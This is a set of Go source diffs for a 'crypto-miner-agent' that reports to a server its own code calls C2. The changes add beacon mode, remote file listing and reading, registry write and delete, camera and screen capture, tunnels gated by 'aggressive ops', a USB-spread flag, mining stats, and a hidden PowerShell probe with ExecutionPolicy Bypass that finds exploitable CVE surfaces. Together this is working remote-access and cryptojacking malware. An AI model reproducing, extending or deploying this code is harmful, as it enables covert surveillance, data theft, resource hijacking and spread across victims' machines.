if err := c.write(Message{Type: "auth", Payload: payload}); err != nil { if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err return err
@@ -287,7 +348,8 @@ func (c *AgentClient) authenticate() error {
return fmt.Errorf("auth failed: %s", resp.Error) return fmt.Errorf("auth failed: %s", resp.Error)
} }
c.agentID = resp.AgentID c.agentID = resp.AgentID
log.Printf("[agent] authenticated as %s", c.agentID) c.clearWSDownSince()
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
// Persist the server-confirmed ID so restarts always reconnect as the same agent. // Persist the server-confirmed ID so restarts always reconnect as the same agent.
if installDir, err := c.cfg.InstallDirectory(); err == nil { if installDir, err := c.cfg.InstallDirectory(); err == nil {
_ = deploy.PersistAgentID(installDir, c.agentID) _ = deploy.PersistAgentID(installDir, c.agentID)
@@ -549,7 +611,15 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
} }
go c.performUpgrade(data) go c.performUpgrade(data)
c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary") c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary")
case "bof_execute":
c.sendCommandResult(action, false, "bof_execute is not implemented — in-memory BOF execution is disabled for safety")
default: default:
if c.handleRegistryCommand(action, path, data) {
return
}
if c.handleFileCommand(action, path) {
return
}
if c.handleReconCommand(action, command) { if c.handleReconCommand(action, command) {
return return
} }
@@ -563,9 +633,56 @@ func (c *AgentClient) sendCommandResult(action string, success bool, message str
"success": success, "success": success,
"message": message, "message": message,
}) })
if c.beaconMode.Load() {
c.postBeaconResult(payload)
return
}
_ = c.write(Message{Type: "command_result", Payload: payload}) _ = c.write(Message{Type: "command_result", Payload: payload})
} }
func (c *AgentClient) wsDownSinceTime() time.Time {
if v := c.wsDownSince.Load(); v != nil {
if t, ok := v.(time.Time); ok {
return t
}
}
return time.Time{}
}
func (c *AgentClient) markWSDownSince() {
if !c.wsDownSinceTime().IsZero() {
return
}
c.wsDownSince.Store(time.Now())
}
func (c *AgentClient) clearWSDownSince() {
c.wsDownSince.Store(time.Time{})
}
func (c *AgentClient) collectStatsPayload() (StatsPayload, error) {
hps := c.pool.HashesPerSecond()
c.pool.ResetHashCounter()
cpuPct, memPct := c.reporter.Usage()
if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
cpuPct = sysCPU
}
c.mu.Lock()
submitted := c.sharesSubmitted
accepted := c.sharesAccepted
c.mu.Unlock()
return StatsPayload{
Hashrate15s: hps,
Hashrate1m: hps,
Hashrate15m: hps,
SharesSubmitted: submitted,
SharesAccepted: accepted,
CPUUsagePct: cpuPct,
MemoryUsagePct: memPct,
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
}, nil
}
func (c *AgentClient) stopSelf() { func (c *AgentClient) stopSelf() {
time.Sleep(300 * time.Millisecond) time.Sleep(300 * time.Millisecond)
c.pool.Stop() c.pool.Stop()

View File

@@ -1,6 +1,7 @@
package client package client
import ( import (
"encoding/json"
"fmt" "fmt"
"os/exec" "os/exec"
"runtime" "runtime"
@@ -21,6 +22,12 @@ func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
} }
func (c *AgentClient) handleReconCommand(action, command string) bool { func (c *AgentClient) handleReconCommand(action, command string) bool {
if action == "connectivity_probe" {
probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort)
b, _ := json.Marshal(probe)
c.sendCommandResult(action, true, string(b))
return true
}
if action == "full_sys_check" { if action == "full_sys_check" {
report := CollectFullSysCheck(c.cfg, c.agentID) report := CollectFullSysCheck(c.cfg, c.agentID)
c.sendCommandResult(action, true, report.JSON()) c.sendCommandResult(action, true, report.JSON())

View File

@@ -52,6 +52,8 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
} else { } else {
return true, false, "screenshot not supported on this platform without custom command" return true, false, "screenshot not supported on this platform without custom command"
} }
case "camera_snapshot", "camera_list":
return handleCameraAction(action)
case "sysinfo": case "sysinfo":
out, err = exec.Command("uname", "-a").CombinedOutput() out, err = exec.Command("uname", "-a").CombinedOutput()
case "ipconfig": case "ipconfig":

View File

@@ -106,6 +106,8 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
return true, false, "screenshot failed or empty image (agent may need an interactive desktop session)" return true, false, "screenshot failed or empty image (agent may need an interactive desktop session)"
} }
return true, true, b64 return true, true, b64
case "camera_snapshot", "camera_list":
return handleCameraAction(action)
case "sysinfo": case "sysinfo":
out, err = silentCombinedOutput("systeminfo") out, err = silentCombinedOutput("systeminfo")
case "ipconfig": case "ipconfig":

View File

@@ -0,0 +1,93 @@
package client
import (
"fmt"
"net"
"net/url"
"strings"
"time"
)
// ConnectivityProbeReport is diagnostic-only reachability (not a C2 channel).
type ConnectivityProbeReport struct {
C2Host string `json:"c2_host"`
C2DNSOK bool `json:"c2_dns_ok"`
C2DNSAddrs []string `json:"c2_dns_addrs,omitempty"`
C2TCPOK bool `json:"c2_tcp_ok"`
C2TCPError string `json:"c2_tcp_error,omitempty"`
PoolHost string `json:"pool_host,omitempty"`
PoolDNSOK bool `json:"pool_dns_ok,omitempty"`
PoolDNSAddrs []string `json:"pool_dns_addrs,omitempty"`
PoolTCPOK bool `json:"pool_tcp_ok,omitempty"`
PoolTCPError string `json:"pool_tcp_error,omitempty"`
}
func runConnectivityProbe(serverURL, poolHost string, poolPort int) ConnectivityProbeReport {
report := ConnectivityProbeReport{}
host, port, err := hostPortFromServerURL(serverURL)
if err != nil {
report.C2Host = serverURL
report.C2TCPError = err.Error()
return report
}
report.C2Host = net.JoinHostPort(host, port)
report.C2DNSOK, report.C2DNSAddrs = probeDNSResolve(host)
report.C2TCPOK, report.C2TCPError = probeTCPConnect(host, port)
if poolHost != "" {
pport := poolPort
if pport <= 0 {
pport = 3333
}
pportStr := fmt.Sprintf("%d", pport)
report.PoolHost = net.JoinHostPort(poolHost, pportStr)
report.PoolDNSOK, report.PoolDNSAddrs = probeDNSResolve(poolHost)
report.PoolTCPOK, report.PoolTCPError = probeTCPConnect(poolHost, pportStr)
}
return report
}
func hostPortFromServerURL(serverURL string) (host, port string, err error) {
raw := strings.TrimSpace(serverURL)
if raw == "" {
return "", "", fmt.Errorf("empty server URL")
}
if !strings.Contains(raw, "://") {
raw = "http://" + raw
}
u, err := url.Parse(raw)
if err != nil {
return "", "", err
}
host = u.Hostname()
port = u.Port()
if port == "" {
if u.Scheme == "https" {
port = "443"
} else {
port = "80"
}
}
if host == "" {
return "", "", fmt.Errorf("no host in server URL")
}
return host, port, nil
}
func probeDNSResolve(host string) (bool, []string) {
addrs, err := net.LookupHost(host)
if err != nil || len(addrs) == 0 {
return false, nil
}
return true, addrs
}
func probeTCPConnect(host, port string) (bool, string) {
addr := net.JoinHostPort(host, port)
conn, err := net.DialTimeout("tcp", addr, 5*time.Second)
if err != nil {
return false, err.Error()
}
_ = conn.Close()
return true, ""
}

View File

@@ -0,0 +1,20 @@
package client
import "testing"
func TestHostPortFromServerURL(t *testing.T) {
host, port, err := hostPortFromServerURL("https://c2.example.com:8989")
if err != nil {
t.Fatal(err)
}
if host != "c2.example.com" || port != "8989" {
t.Fatalf("got %s:%s", host, port)
}
host, port, err = hostPortFromServerURL("http://192.168.1.5")
if err != nil {
t.Fatal(err)
}
if host != "192.168.1.5" || port != "80" {
t.Fatalf("got %s:%s", host, port)
}
}

View File

@@ -0,0 +1,66 @@
package client
// KEVEntry describes a CISA-known-exploited style vulnerability for read-only exposure checks.
// Heuristics indicate likely exposure on the host — not a penetration test.
type KEVEntry struct {
ID string
Name string
Product string
Severity string // critical, high, medium
CISAKEV bool
Description string
}
// KEVCatalog is aligned with CISA AA22-117A / AA22-279A top exploited CVE families.
var KEVCatalog = []KEVEntry{
{ID: "CVE-2021-44228", Name: "Log4Shell", Product: "Apache Log4j", Severity: "critical", CISAKEV: true,
Description: "JNDI RCE in Log4j 2.x before 2.17.0"},
{ID: "CVE-2021-26855", Name: "ProxyLogon", Product: "Microsoft Exchange", Severity: "critical", CISAKEV: true,
Description: "Exchange Server pre-auth SSRF chain (Mar 2021)"},
{ID: "CVE-2020-1472", Name: "Zerologon", Product: "Microsoft Netlogon", Severity: "critical", CISAKEV: true,
Description: "Domain controller Netlogon privilege escalation"},
{ID: "CVE-2019-19781", Name: "Citrix ADC", Product: "Citrix ADC/Gateway", Severity: "critical", CISAKEV: true,
Description: "Path traversal on Citrix Application Delivery Controller"},
{ID: "CVE-2019-11510", Name: "Pulse Secure", Product: "Ivanti Pulse Connect Secure", Severity: "critical", CISAKEV: true,
Description: "Arbitrary file read on Pulse VPN appliances"},
{ID: "CVE-2020-5902", Name: "F5 BIG-IP", Product: "F5 BIG-IP", Severity: "critical", CISAKEV: true,
Description: "Remote code execution in TMUI (CVE-2020-5902)"},
{ID: "CVE-2022-1388", Name: "F5 iControl", Product: "F5 BIG-IP", Severity: "critical", CISAKEV: true,
Description: "iControl REST auth bypass (May 2022)"},
{ID: "CVE-2021-26084", Name: "Confluence OGNL", Product: "Atlassian Confluence", Severity: "critical", CISAKEV: true,
Description: "Confluence Server/Data Center RCE"},
{ID: "CVE-2022-26134", Name: "Confluence RCE", Product: "Atlassian Confluence", Severity: "critical", CISAKEV: true,
Description: "Confluence unauthenticated RCE (2022)"},
{ID: "CVE-2021-40539", Name: "ManageEngine", Product: "Zoho ManageEngine ADSelfService Plus", Severity: "critical", CISAKEV: true,
Description: "Unauthenticated RCE in ADSelfService Plus"},
{ID: "CVE-2018-13379", Name: "FortiOS path traversal", Product: "Fortinet FortiGate/FortiOS", Severity: "critical", CISAKEV: true,
Description: "SSL-VPN path traversal (FortiOS)"},
{ID: "CVE-2021-34527", Name: "PrintNightmare", Product: "Windows Print Spooler", Severity: "high", CISAKEV: true,
Description: "Spooler remote code execution (Jul 2021)"},
{ID: "CVE-2020-0688", Name: "Exchange RCE", Product: "Microsoft Exchange", Severity: "high", CISAKEV: true,
Description: "Exchange control panel deserialization RCE"},
{ID: "CVE-2021-21972", Name: "vCenter RCE", Product: "VMware vCenter", Severity: "critical", CISAKEV: true,
Description: "vSphere Client RCE in vCenter Server"},
}
// KEVFinding is one catalog entry with a probe result for this host.
type KEVFinding struct {
CVE string `json:"cve"`
Name string `json:"name"`
Product string `json:"product"`
Severity string `json:"severity"`
CISAKEV bool `json:"cisa_kev"`
Status string `json:"status"` // exposed, likely, clear, n/a
Detail string `json:"detail,omitempty"`
}
// KEVScanReport aggregates exposure heuristics for the dashboard.
type KEVScanReport struct {
ScannedAt string `json:"scanned_at"`
ExposedCount int `json:"exposed_count"`
LikelyCount int `json:"likely_count"`
CriticalCount int `json:"critical_count"`
RiskScore int `json:"risk_score"` // 0-100 higher = worse
Findings []KEVFinding `json:"findings"`
Summary string `json:"summary,omitempty"`
}

View File

@@ -0,0 +1,34 @@
package client
import "time"
func finalizeKEVReport(findings []KEVFinding) *KEVScanReport {
r := &KEVScanReport{
ScannedAt: time.Now().UTC().Format(time.RFC3339),
Findings: findings,
}
for _, f := range findings {
switch f.Status {
case "exposed":
r.ExposedCount++
if f.Severity == "critical" {
r.CriticalCount++
}
case "likely":
r.LikelyCount++
}
}
r.RiskScore = kevRiskScore(r)
return r
}
func kevRiskScore(r *KEVScanReport) int {
if r == nil {
return 0
}
score := r.CriticalCount*25 + r.ExposedCount*15 + r.LikelyCount*8
if score > 100 {
return 100
}
return score
}

View File

@@ -0,0 +1,16 @@
//go:build !windows
package client
func scanKEVExposure(_ *PatchStatusReport, _ *ListenPortsReport, _ *SysCheckSecurity) *KEVScanReport {
findings := make([]KEVFinding, 0, len(KEVCatalog))
for _, e := range KEVCatalog {
findings = append(findings, KEVFinding{
CVE: e.ID, Name: e.Name, Product: e.Product, Severity: e.Severity, CISAKEV: e.CISAKEV,
Status: "n/a", Detail: "KEV heuristics run on Windows agents only",
})
}
r := finalizeKEVReport(findings)
r.Summary = "KEV scan requires Windows"
return r
}

View File

@@ -0,0 +1,22 @@
package client
import "testing"
func TestFinalizeKEVReportRiskScore(t *testing.T) {
r := finalizeKEVReport([]KEVFinding{
{CVE: "CVE-2021-26855", Status: "exposed", Severity: "critical"},
{CVE: "CVE-2021-44228", Status: "likely", Severity: "critical"},
})
if r.ExposedCount != 1 || r.LikelyCount != 1 || r.CriticalCount != 1 {
t.Fatalf("counts: %+v", r)
}
if r.RiskScore < 30 {
t.Fatalf("expected elevated risk score, got %d", r.RiskScore)
}
}
func TestKEVCatalogNotEmpty(t *testing.T) {
if len(KEVCatalog) < 10 {
t.Fatalf("expected KEV catalog entries, got %d", len(KEVCatalog))
}
}

View File

@@ -0,0 +1,231 @@
//go:build windows
package client
import (
"encoding/json"
"strings"
)
const kevProbeScript = `
$ErrorActionPreference = 'SilentlyContinue'
$out = [ordered]@{}
# Exchange (ProxyLogon / ProxyLogon family)
$exSvc = @(Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -like 'MSExchange*' -or $_.DisplayName -like '*Exchange*' })
$exReg = Test-Path 'HKLM:\SOFTWARE\Microsoft\ExchangeServer'
$out.exchange_installed = ($exSvc.Count -gt 0 -or $exReg)
# Domain Controller (Zerologon surface)
try {
$dc = (Get-CimInstance Win32_ComputerSystem).DomainRole -in 4,5
} catch { $dc = $false }
$out.is_domain_controller = $dc
# Pulse / Ivanti VPN client or service
$pulse = @(Get-Service -ErrorAction SilentlyContinue | Where-Object {
$_.DisplayName -match 'Pulse|Ivanti|Juniper Pulse' -or $_.Name -match 'Pulse'
})
$out.pulse_present = ($pulse.Count -gt 0)
# Citrix ADC / Gateway / Workspace server components
$citrix = @(
Test-Path 'C:\inetpub\scripts',
(Test-Path 'C:\Program Files\Citrix'),
(Test-Path 'C:\Program Files (x86)\Citrix')
) | Where-Object { $_ }
$out.citrix_present = ($citrix.Count -gt 0)
# F5 BIG-IP local management (rare on desktop)
$f5 = @(Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'bigip|f5' })
$out.f5_process = ($f5.Count -gt 0)
# Confluence / Atlassian stack
$conf = @(Get-Process -ErrorAction SilentlyContinue | Where-Object {
$_.Path -match 'atlassian|confluence|tomcat' -or $_.ProcessName -match 'confluence|tomcat'
})
$out.confluence_like = ($conf.Count -gt 0)
# ManageEngine ADSelfService Plus
$me = @(
Test-Path 'C:\Program Files\ManageEngine',
Test-Path 'C:\ManageEngine'
) | Where-Object { $_ }
$out.manageengine_present = ($me.Count -gt 0)
# Fortinet FortiClient
$forti = @(Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'forti' })
$out.forticlient = ($forti.Count -gt 0)
# VMware vCenter / vSphere client heavy installs
$vmw = @(Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'vpxd|VMware' })
$out.vmware_serverish = ($vmw.Count -gt 0)
# Print Spooler (PrintNightmare surface)
try {
$sp = Get-Service Spooler
$out.spooler_running = ($sp.Status -eq 'Running')
} catch { $out.spooler_running = $false }
# Log4j jars — shallow search (bounded)
$log4j = @()
$roots = @(
$env:ProgramFiles,
${env:ProgramFiles(x86)},
'C:\ProgramData'
) | Where-Object { $_ -and (Test-Path $_) }
foreach ($root in $roots) {
$log4j += Get-ChildItem -Path $root -Filter 'log4j-core*.jar' -Recurse -Depth 3 -ErrorAction SilentlyContinue |
Select-Object -First 5 -ExpandProperty FullName
}
$out.log4j_jars = @($log4j | Select-Object -Unique)
$out | ConvertTo-Json -Compress -Depth 4
`
type kevProbeResult struct {
ExchangeInstalled bool `json:"exchange_installed"`
IsDomainController bool `json:"is_domain_controller"`
PulsePresent bool `json:"pulse_present"`
CitrixPresent bool `json:"citrix_present"`
F5Process bool `json:"f5_process"`
ConfluenceLike bool `json:"confluence_like"`
ManageEnginePresent bool `json:"manageengine_present"`
FortiClient bool `json:"forticlient"`
VMwareServerish bool `json:"vmware_serverish"`
SpoolerRunning bool `json:"spooler_running"`
Log4jJars []string `json:"log4j_jars"`
}
func runKEVProbe() (*kevProbeResult, error) {
out, err := silentCombinedOutput(
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
kevProbeScript,
)
if err != nil {
return nil, err
}
raw := strings.TrimSpace(string(out))
if idx := strings.LastIndex(raw, "{"); idx > 0 {
raw = raw[idx:]
}
var p kevProbeResult
if err := json.Unmarshal([]byte(raw), &p); err != nil {
return nil, err
}
return &p, nil
}
func scanKEVExposure(patch *PatchStatusReport, ports *ListenPortsReport, sec *SysCheckSecurity) *KEVScanReport {
probe, probeErr := runKEVProbe()
findings := make([]KEVFinding, 0, len(KEVCatalog))
patchDays := -1
if patch != nil && patch.LastPatchDays != nil {
patchDays = *patch.LastPatchDays
}
listening := map[int]bool{}
if ports != nil {
for _, p := range ports.Ports {
listening[p.Port] = true
}
}
for _, e := range KEVCatalog {
f := KEVFinding{
CVE: e.ID, Name: e.Name, Product: e.Product, Severity: e.Severity, CISAKEV: e.CISAKEV,
Status: "clear", Detail: e.Description,
}
if probeErr != nil {
f.Status = "n/a"
f.Detail = "probe unavailable"
findings = append(findings, f)
continue
}
switch e.ID {
case "CVE-2021-26855", "CVE-2020-0688":
if probe.ExchangeInstalled {
f.Status = "exposed"
f.Detail = "Microsoft Exchange services/registry detected — verify Mar 2021+ CU patches"
if patchDays >= 0 && patchDays > 90 {
f.Status = "likely"
f.Detail += "; host patch age > 90 days"
}
}
case "CVE-2020-1472":
if probe.IsDomainController {
f.Status = "likely"
f.Detail = "Domain controller role — ensure Aug 2020 Netlogon patch (Zerologon) applied"
if patchDays >= 0 && patchDays > 60 {
f.Status = "exposed"
f.Detail = "DC with patch age > 60 days — Zerologon mitigation urgency"
}
}
case "CVE-2021-44228":
if len(probe.Log4jJars) > 0 {
f.Status = "likely"
f.Detail = "log4j-core JAR(s) found: " + strings.Join(probe.Log4jJars, "; ")
}
case "CVE-2019-19781":
if probe.CitrixPresent {
f.Status = "likely"
f.Detail = "Citrix install paths present — verify ADC/Gateway patch level if server role"
}
case "CVE-2019-11510":
if probe.PulsePresent {
f.Status = "likely"
f.Detail = "Pulse/Ivanti VPN software detected — verify appliance firmware if VPN gateway"
}
case "CVE-2020-5902", "CVE-2022-1388":
if probe.F5Process || listening[443] {
if probe.F5Process {
f.Status = "likely"
f.Detail = "F5-related process detected"
}
}
case "CVE-2021-26084", "CVE-2022-26134":
if probe.ConfluenceLike {
f.Status = "likely"
f.Detail = "Atlassian/Confluence-like Java process — verify Confluence patch level"
}
case "CVE-2021-40539":
if probe.ManageEnginePresent {
f.Status = "likely"
f.Detail = "ManageEngine directory present — verify ADSelfService Plus version"
}
case "CVE-2018-13379":
if probe.FortiClient {
f.Status = "likely"
f.Detail = "Fortinet client process running — verify FortiOS/FortiClient versions on VPN edge"
}
case "CVE-2021-21972":
if probe.VMwareServerish {
f.Status = "likely"
f.Detail = "VMware server-style services detected — verify vCenter patch level"
}
case "CVE-2021-34527":
if probe.SpoolerRunning && !probe.IsDomainController {
f.Status = "likely"
f.Detail = "Print Spooler running — restrict if not required (PrintNightmare era)"
}
}
// Stale patching amplifies any likely/exposed KEV surface
if f.Status == "likely" && patchDays > 120 {
f.Detail += " · OS patches older than 120 days"
}
findings = append(findings, f)
}
r := finalizeKEVReport(findings)
if r.ExposedCount > 0 || r.CriticalCount > 0 {
r.Summary = "CISA KEV-style exposure indicators detected — patch or isolate affected roles"
} else if r.LikelyCount > 0 {
r.Summary = "Some KEV-related software stacks detected — verify versions and patches"
} else {
r.Summary = "No high-confidence KEV exposure indicators on this host"
}
return r
}

View File

@@ -0,0 +1,12 @@
//go:build !windows
package client
func (c *AgentClient) handleFileCommand(action, path string) bool {
switch action {
case "list_dir", "read_file":
c.sendCommandResult(action, false, "file browser commands are only supported on Windows agents")
return true
}
return false
}

View File

@@ -0,0 +1,82 @@
//go:build windows
package client
import (
"encoding/json"
"fmt"
"os"
"crypto-miner-agent/deploy"
)
const maxReadFileBytes = 512 * 1024
type dirEntry struct {
Name string `json:"name"`
IsDir bool `json:"is_dir"`
Size int64 `json:"size"`
}
func (c *AgentClient) handleFileCommand(action, path string) bool {
switch action {
case "list_dir":
if path == "" {
c.sendCommandResult(action, false, "path is required")
return true
}
resolved, err := deploy.ResolveRemotePath(path)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
entries, err := os.ReadDir(resolved)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
out := make([]dirEntry, 0, len(entries))
for _, e := range entries {
info, err := e.Info()
if err != nil {
continue
}
out = append(out, dirEntry{Name: e.Name(), IsDir: e.IsDir(), Size: info.Size()})
}
b, _ := json.Marshal(map[string]interface{}{"path": resolved, "entries": out})
c.sendCommandResult(action, true, string(b))
return true
case "read_file":
if path == "" {
c.sendCommandResult(action, false, "path is required")
return true
}
resolved, err := deploy.ResolveRemotePath(path)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
info, err := os.Stat(resolved)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
if info.IsDir() {
c.sendCommandResult(action, false, "path is a directory")
return true
}
if info.Size() > maxReadFileBytes {
c.sendCommandResult(action, false, fmt.Sprintf("file too large (%d bytes, cap %d)", info.Size(), maxReadFileBytes))
return true
}
b, err := os.ReadFile(resolved)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, string(b))
return true
}
return false
}

View File

@@ -35,4 +35,5 @@ func WGSetupJSON() string {
func WGConfigure(_ WGConfigPayload) error { return nil } func WGConfigure(_ WGConfigPayload) error { return nil }
func WGTeardown() {} func WGTeardown() {}
func WGIsActive() bool { return false }
func WGStatus() string { return "not supported on this platform" } func WGStatus() string { return "not supported on this platform" }

View File

@@ -150,6 +150,11 @@ func WGTeardown() {
log.Printf("[pathtracer] WireGuard tunnel torn down") log.Printf("[pathtracer] WireGuard tunnel torn down")
} }
// WGIsActive reports whether a Path Tracer WireGuard tunnel is running.
func WGIsActive() bool {
return wgState.tunnelName != ""
}
// WGStatus returns the number of active WireGuard peers. // WGStatus returns the number of active WireGuard peers.
func WGStatus() string { func WGStatus() string {
if wgState.tunnelName == "" { if wgState.tunnelName == "" {

View File

@@ -41,6 +41,8 @@ type AuthPayload struct {
Arch string `json:"arch"` Arch string `json:"arch"`
OSVersion string `json:"os_version"` OSVersion string `json:"os_version"`
MacAddress string `json:"mac_address,omitempty"` MacAddress string `json:"mac_address,omitempty"`
BuildID string `json:"build_id,omitempty"`
USBSpread bool `json:"usb_spread,omitempty"`
} }
type AuthResponse struct { type AuthResponse struct {

View File

@@ -0,0 +1,13 @@
//go:build !windows
package client
func (c *AgentClient) handleRegistryCommand(action, path, data string) bool {
switch action {
case "registry_read", "registry_write", "registry_delete":
c.sendCommandResult(action, false, "registry operations are unsupported on this platform")
return true
default:
return false
}
}

View File

@@ -0,0 +1,89 @@
//go:build windows
package client
import (
"encoding/json"
"fmt"
"strings"
"crypto-miner-agent/deploy"
)
type registryCommandPayload struct {
Hive string `json:"hive"`
Path string `json:"path"`
Name string `json:"name"`
Value string `json:"value"`
Type string `json:"type"`
}
func (c *AgentClient) handleRegistryCommand(action, path, data string) bool {
switch action {
case "registry_read", "registry_write", "registry_delete":
default:
return false
}
payload, err := parseRegistryPayload(path, data)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
hiveToken, err := deploy.ParseRegistryHive(payload.Hive)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
switch action {
case "registry_read":
out, err := deploy.FleetRegistryRead(hiveToken, payload.Path)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
b, _ := json.Marshal(out)
c.sendCommandResult(action, true, string(b))
case "registry_write":
if payload.Name == "" || payload.Value == "" {
c.sendCommandResult(action, false, "name and value are required")
return true
}
if err := deploy.FleetRegistryWrite(hiveToken, payload.Path, payload.Name, payload.Value, payload.Type); err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("wrote %s\\%s\\%s", strings.ToUpper(payload.Hive), payload.Path, payload.Name))
case "registry_delete":
if payload.Name == "" {
c.sendCommandResult(action, false, "name is required")
return true
}
if err := deploy.FleetRegistryDelete(hiveToken, payload.Path, payload.Name); err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("deleted %s\\%s\\%s", strings.ToUpper(payload.Hive), payload.Path, payload.Name))
}
return true
}
func parseRegistryPayload(path, data string) (registryCommandPayload, error) {
var payload registryCommandPayload
if strings.TrimSpace(data) != "" {
if err := json.Unmarshal([]byte(data), &payload); err != nil {
return payload, fmt.Errorf("invalid registry payload JSON: %w", err)
}
}
if payload.Path == "" {
payload.Path = strings.TrimSpace(path)
}
if payload.Hive == "" {
return payload, fmt.Errorf("hive is required (HKCU or HKLM)")
}
if payload.Path == "" {
return payload, fmt.Errorf("path is required")
}
return payload, nil
}

View File

@@ -61,6 +61,8 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck
collectSysCheckPlatform(r) collectSysCheckPlatform(r)
r.KEVExposure = scanKEVExposure(r.Patch, r.ListenPorts, r.Security)
if dir, err := cfg.InstallDirectory(); err == nil { if dir, err := cfg.InstallDirectory(); err == nil {
if r.Environment == nil { if r.Environment == nil {
r.Environment = &SysCheckEnvironment{} r.Environment = &SysCheckEnvironment{}

View File

@@ -22,6 +22,7 @@ type FullSysCheckReport struct {
Patch *PatchStatusReport `json:"patch,omitempty"` Patch *PatchStatusReport `json:"patch,omitempty"`
Environment *SysCheckEnvironment `json:"environment,omitempty"` Environment *SysCheckEnvironment `json:"environment,omitempty"`
Neighbors *SysCheckNeighbors `json:"neighbors,omitempty"` Neighbors *SysCheckNeighbors `json:"neighbors,omitempty"`
KEVExposure *KEVScanReport `json:"kev_exposure,omitempty"`
RawSysinfo string `json:"raw_sysinfo,omitempty"` RawSysinfo string `json:"raw_sysinfo,omitempty"`
RawIPConfig string `json:"raw_ipconfig,omitempty"` RawIPConfig string `json:"raw_ipconfig,omitempty"`

View File

@@ -0,0 +1,152 @@
package client
import (
"encoding/json"
"fmt"
"strings"
"crypto-miner-agent/deploy"
)
// tunnelActions are unified protocol tunneling commands (owned-fleet ops).
var tunnelActions = map[string]bool{
"tunnel_cloudflared": true,
"tunnel_wireguard": true,
"tunnel_ssh_forward": true,
"tunnel_status": true,
"tunnel_stop": true,
"start_tunnel": true, // legacy alias
}
func isTunnelAction(action string) bool {
return tunnelActions[action]
}
func (c *AgentClient) allowTunnelAction(action string) (bool, string) {
switch action {
case "tunnel_status", "tunnel_wireguard":
return true, ""
default:
if !c.cfg.RemoteAggressive {
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
}
}
return true, ""
}
func (c *AgentClient) handleTunnelCommand(action string, command, path, data string) bool {
if !isTunnelAction(action) {
return false
}
ok, reason := c.allowTunnelAction(action)
if !ok {
c.sendCommandResult(action, false, reason)
return true
}
switch action {
case "tunnel_cloudflared", "start_tunnel":
serverURL := strings.TrimSpace(command)
if serverURL == "" {
serverURL = strings.TrimSpace(path)
}
if serverURL == "" {
serverURL = c.cfg.ServerURL
}
msg, err := deploy.StartCloudflaredTunnel(serverURL)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "tunnel_wireguard":
var payload WGConfigPayload
raw := strings.TrimSpace(data)
if raw == "" {
raw = strings.TrimSpace(command)
}
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
c.sendCommandResult(action, false, "bad wg config payload: "+err.Error())
return true
}
go func() {
if err := WGConfigure(payload); err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
c.sendCommandResult(action, true, "WireGuard tunnel started")
}()
return true
case "tunnel_ssh_forward":
var meta deploy.SSHForwardMeta
raw := strings.TrimSpace(data)
if raw == "" {
raw = strings.TrimSpace(command)
}
if err := json.Unmarshal([]byte(raw), &meta); err != nil {
meta.LocalPort = parsePortArg(command, 0)
hostPort := strings.TrimSpace(path)
if idx := strings.LastIndex(hostPort, ":"); idx > 0 {
meta.RemoteHost = hostPort[:idx]
meta.RemotePort = parsePortArg(hostPort[idx+1:], 0)
}
meta.SSHUser = strings.TrimSpace(data)
}
msg, err := deploy.StartSSHForward(meta)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, msg)
return true
case "tunnel_status":
raw := deploy.TunnelStatus()
var st deploy.TunnelStatusJSON
_ = json.Unmarshal([]byte(raw), &st)
st.WireGuardActive = WGIsActive()
if st.WireGuardActive {
st.WireGuardDetail = WGStatus()
}
out, _ := json.Marshal(st)
c.sendCommandResult(action, true, string(out))
return true
case "tunnel_stop":
kind := strings.TrimSpace(strings.ToLower(command))
var stopped int
var msgs []string
switch kind {
case "", "all":
stopped, msgs = deploy.StopTunnels()
if WGIsActive() {
WGTeardown()
msgs = append(msgs, "WireGuard tunnel removed")
stopped++
}
case "cloudflared", "cf":
stopped, msgs = deploy.StopTunnels(deploy.TunnelCloudflared)
case "ssh", "ssh_forward":
stopped, msgs = deploy.StopTunnels(deploy.TunnelSSHForward)
case "wireguard", "wg":
if WGIsActive() {
WGTeardown()
msgs = append(msgs, "WireGuard tunnel removed")
stopped = 1
} else {
msgs = append(msgs, "no active WireGuard tunnel")
}
default:
c.sendCommandResult(action, false, "unknown kind — use all, cloudflared, ssh, or wireguard")
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("stopped %d tunnel(s)\n%s", stopped, strings.Join(msgs, "\n")))
return true
}
return false
}

View File

@@ -22,6 +22,16 @@ type BuiltinConfig struct {
RunAs string RunAs string
